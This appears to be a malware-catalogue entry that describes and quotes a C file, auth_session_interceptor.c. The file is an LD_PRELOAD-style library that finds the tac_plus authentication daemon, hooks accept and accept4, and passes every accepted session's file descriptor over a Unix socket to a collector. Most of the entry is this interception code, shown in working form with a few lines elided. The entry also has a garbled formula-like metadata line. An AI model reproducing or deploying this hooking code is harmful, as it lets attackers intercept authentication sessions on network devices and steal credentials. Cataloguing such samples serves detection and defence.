auth_session_interceptor.c
Hooks auth daemon, relays session FDs
Relays hooked authentication sessions to collectorHooks authentication daemon connection acceptance
SHA-256c362641e23b28c79a3f86a2ffbe088f2f5a11567a2d5e0168df6c15c230f5897
MaleculeO(Ca)H₆(Cm₅Db₃DsF₄OsPo₂)
Evidence
14static pid_t find_authentication_daemon(void) {
15 DIR *proc = opendir("/proc");
16 struct dirent *entry;
17 char path[80];
18 char process_name[64];
19
20 while ((entry = readdir(proc)) != NULL) {
21 snprintf(path, sizeof(path), "/proc/%s/comm", entry->d_name);
22 FILE *stream = fopen(path, "r");
23 if (stream != NULL && fgets(process_name, sizeof(process_name), stream) != NULL) {
24 process_name[strcspn(process_name, "\n")] = 0;
25 if (strcmp(process_name, "tac_plus") == 0) {
26 fclose(stream);
27 closedir(proc);
28 return (pid_t)strtol(entry->d_name, NULL, 10);
29 }
⋯6 lines
36
37static void relay_accepted_session(int accepted_fd) {
38 int relay = socket(AF_UNIX, SOCK_STREAM, 0);
39 struct sockaddr_un address = { .sun_family = AF_UNIX };
40 struct msghdr message = {0};
41 struct iovec vector = {0};
42 char marker = 'S';
43 char control[CMSG_SPACE(sizeof(accepted_fd))];
44
45 strcpy(address.sun_path, "/var/run/auth-session-relay.sock");
46 connect(relay, (struct sockaddr *)&address, sizeof(address));
47 vector.iov_base = ▮
48 vector.iov_len = sizeof(marker);
49 m …
54:52… );
55 header->cmsg_level = SOL_SOCKET;
56 header->cmsg_type = SCM_RIGHTS;
57 header->cmsg_len = CMSG_LEN(sizeof(accepted_fd));
58 memcpy(CMSG_DATA(header), &accepted_fd, sizeof(accepted_fd));
59 sendmsg(relay, &message, 0);
60 close(relay);
61}
62
63__attribute__((constructor)) static void install_session_hooks(void) {
64 if (find_authentication_daemon() < 0) _exit(1);
65 next_accept = dlsym(RTLD_NEXT, "accept");
66 next_accept4 = dlsym(RTLD_NEXT, "accept4");
67}
68
69int accept(int socket_fd, struct sockaddr *address, socklen_t *l …
75:13… int socket_fd, struct sockaddr *address, socklen_t *length, int flags) {
76 int accepted_fd = next_accept4(socket_fd, address, length, flags);
77 if (accepted_fd >= 0) relay_accepted_session(acce …